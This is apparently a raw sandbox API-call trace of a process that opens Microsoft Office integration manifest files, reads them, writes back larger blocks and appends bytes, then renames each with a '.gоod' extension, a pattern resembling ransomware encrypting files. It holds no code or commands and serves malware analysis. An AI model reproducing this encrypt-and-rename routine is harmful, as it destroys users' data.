[0168.989] GetFileType (hFile=0x650) returned 0x1 [0168.989] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.989] GetFileType (hFile=0x650) returned 0x1 [0168.989] SetFilePointer (in: hFile=0x650, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x8f8e [0168.989] WriteFile (in: hFile=0x650, lpBuffer=0x349f920*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x349f920*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0168.990] CloseHandle (hObject=0x650) returned 1 [0168.990] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0168.990] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0168.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0168.991] GetFileType (hFile=0x650) returned 0x1 [0168.991] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0168.991] GetFileType (hFile=0x650) returned 0x1 [0168.991] ReadFile (in: hFile=0x650, lpBuffer=0x34a1c68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34a1c68*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0169.019] CloseHandle (hObject=0x650) returned 1 [0169.019] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0169.019] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x650 [0169.019] GetFileType (hFile=0x650) returned 0x1 [0169.019] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.019] GetFileType (hFile=0x650) returned 0x1 [0169.019] WriteFile (in: hFile=0x650, lpBuffer=0x34a0938*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x34a0938*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0169.020] CloseHandle (hObject=0x650) returned 1 [0169.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x65 [0169.020] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x6a [0169.020] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0169.020] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x60f5d424, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x8f9e)) returned 1 [0169.020] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0169.020] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Groove.Groove.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groove.groove.x-none.msi.16.x-none.xml.gоod")) returned 1 [0169.021] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0169.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x3520108 | out: lpFileInformation=0x3520108*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd3298bbd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x180e)) returned 1 [0169.297] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0169.497] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.497] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.497] GetFileType (hFile=0x580) returned 0x1 [0169.497] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.497] GetFileType (hFile=0x580) returned 0x1 [0169.497] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0169.497] ReadFile (in: hFile=0x580, lpBuffer=0x3652408, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x3652408*, lpNumberOfBytesRead=0x1fbee3b8*=0x80e, lpOverlapped=0x0) returned 1 [0169.499] CloseHandle (hObject=0x580) returned 1 [0169.499] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.499] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.499] GetFileType (hFile=0x580) returned 0x1 [0169.499] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.499] GetFileType (hFile=0x580) returned 0x1 [0169.499] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x180e [0169.500] WriteFile (in: hFile=0x580, lpBuffer=0x36538b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x36538b8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0169.500] CloseHandle (hObject=0x580) returned 1 [0169.500] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.500] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.500] GetFileType (hFile=0x580) returned 0x1 [0169.500] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.500] GetFileType (hFile=0x580) returned 0x1 [0169.500] ReadFile (in: hFile=0x580, lpBuffer=0x3655bd0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x3655bd0*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0169.593] CloseHandle (hObject=0x580) returned 1 [0169.593] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.593] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.593] GetFileType (hFile=0x580) returned 0x1 [0169.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.594] GetFileType (hFile=0x580) returned 0x1 [0169.594] WriteFile (in: hFile=0x580, lpBuffer=0x349d1a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x349d1a8*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0169.594] CloseHandle (hObject=0x580) returned 1 [0169.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x59 [0169.594] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml.gоod", lpFilePart=0x0) returned 0x5e [0169.594] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0169.594] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x614c735e, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x181e)) returned 1 [0169.594] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0169.594] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.groovemui.msi.16.en-us.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.groovemui.msi.16.en-us.xml.gоod")) returned 1 [0169.595] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0169.595] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0169.595] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x34f0a30 | out: lpFileInformation=0x34f0a30*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd257bc65, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1979c)) returned 1 [0169.596] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0169.596] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0169.596] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.597] GetFileType (hFile=0x580) returned 0x1 [0169.597] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.597] GetFileType (hFile=0x580) returned 0x1 [0169.597] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0169.597] ReadFile (in: hFile=0x580, lpBuffer=0x34f10a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x34f10a8*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0169.598] CloseHandle (hObject=0x580) returned 1 [0169.598] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0169.598] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.598] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.598] GetFileType (hFile=0x580) returned 0x1 [0169.598] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.598] GetFileType (hFile=0x580) returned 0x1 [0169.598] SetFilePointer (in: hFile=0x580, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1979c [0169.599] WriteFile (in: hFile=0x580, lpBuffer=0x34f23d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbee2d8, lpOverlapped=0x0 | out: lpBuffer=0x34f23d8*, lpNumberOfBytesWritten=0x1fbee2d8*=0x10, lpOverlapped=0x0) returned 1 [0169.599] CloseHandle (hObject=0x580) returned 1 [0169.599] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0169.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0169.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0169.600] GetFileType (hFile=0x580) returned 0x1 [0169.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0169.600] GetFileType (hFile=0x580) returned 0x1 [0169.600] ReadFile (in: hFile=0x580, lpBuffer=0x34f4710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee368, lpOverlapped=0x0 | out: lpBuffer=0x34f4710*, lpNumberOfBytesRead=0x1fbee368*=0x1000, lpOverlapped=0x0) returned 1 [0170.219] CloseHandle (hObject=0x580) returned 1 [0170.219] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0170.219] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.220] GetFileType (hFile=0x580) returned 0x1 [0170.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.220] GetFileType (hFile=0x580) returned 0x1 [0170.220] WriteFile (in: hFile=0x580, lpBuffer=0x349e840*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbee418, lpOverlapped=0x0 | out: lpBuffer=0x349e840*, lpNumberOfBytesWritten=0x1fbee418*=0x1010, lpOverlapped=0x0) returned 1 [0170.220] CloseHandle (hObject=0x580) returned 1 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml", lpFilePart=0x0) returned 0x61 [0170.220] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod", lpFilePart=0x0) returned 0x66 [0170.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee350) returned 1 [0170.220] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fbee430 | out: lpFileInformation=0x1fbee430*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ff851e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ff851e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x61abcdf3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x197ac)) returned 1 [0170.220] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee310) returned 1 [0170.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.Lync.Lync.x-none.msi.16.x-none.xml.gоod" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lync.lync.x-none.msi.16.x-none.xml.gоod")) returned 1 [0170.221] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedec0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0170.221] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee390) returned 1 [0170.221] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), fInfoLevelId=0x0, lpFileInformation=0x38b4248 | out: lpFileInformation=0x38b4248*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd31415cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd31415cd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd32bedda, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5b94)) returned 1 [0170.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee350) returned 1 [0170.222] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) returned 0x57 [0170.222] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbee290) returned 1 [0170.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml" (normalized: "c:\\program files\\microsoft office\\root\\integration\\c2rmanifest.lyncmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x580 [0170.222] GetFileType (hFile=0x580) returned 0x1 [0170.222] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbee200) returned 1 [0170.222] GetFileType (hFile=0x580) returned 0x1 [0170.222] SetFilePointer (in: hFile=0x580, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbee3e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbee3e8*=0) returned 0x1000 [0170.222] ReadFile (in: hFile=0x580, lpBuffer=0x38b4700, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbee3b8, lpOverlapped=0x0 | out: lpBuffer=0x38b4700*, lpNumberOfBytesRead=0x1fbee3b8*=0x1000, lpOverlapped=0x0) returned 1 [0170.224] CloseHandle (hObject=0x580) returned 1 [0170.224] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", nBufferLength=0x105, lpBuffer=0x1fbedd70, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Integration\\C2RManifest.lyncmui.msi.16.en-us.xml", lpFilePart=0x0) 